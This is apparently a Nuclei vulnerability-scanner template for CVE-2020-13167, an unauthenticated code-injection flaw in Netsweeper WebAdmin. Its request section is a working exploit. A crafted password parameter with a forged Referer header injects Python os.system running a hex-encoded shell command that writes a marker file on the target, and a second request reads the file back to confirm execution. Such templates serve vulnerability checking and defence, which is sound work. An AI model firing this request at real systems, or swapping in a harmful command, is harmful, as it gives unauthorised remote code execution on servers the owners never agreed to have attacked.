39 lines
1.5 KiB
YAML
39 lines
1.5 KiB
YAML
id: CVE-2020-13167
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info:
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name: Netsweeper WebAdmin unixlogin.php Python Code Injection
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author: dwisiswant0
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severity: critical
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description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
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tags: cve,cve2020,netsweeper,rce,python,webadmin
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reference:
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- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
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- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2020-13167
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cwe-id: CWE-78
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metadata:
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hex-payload: 'echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out'
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
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- "{{BaseURL}}/webadmin/out"
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headers:
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Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "nonexistent"
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part: body
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- type: status
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status:
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- 200
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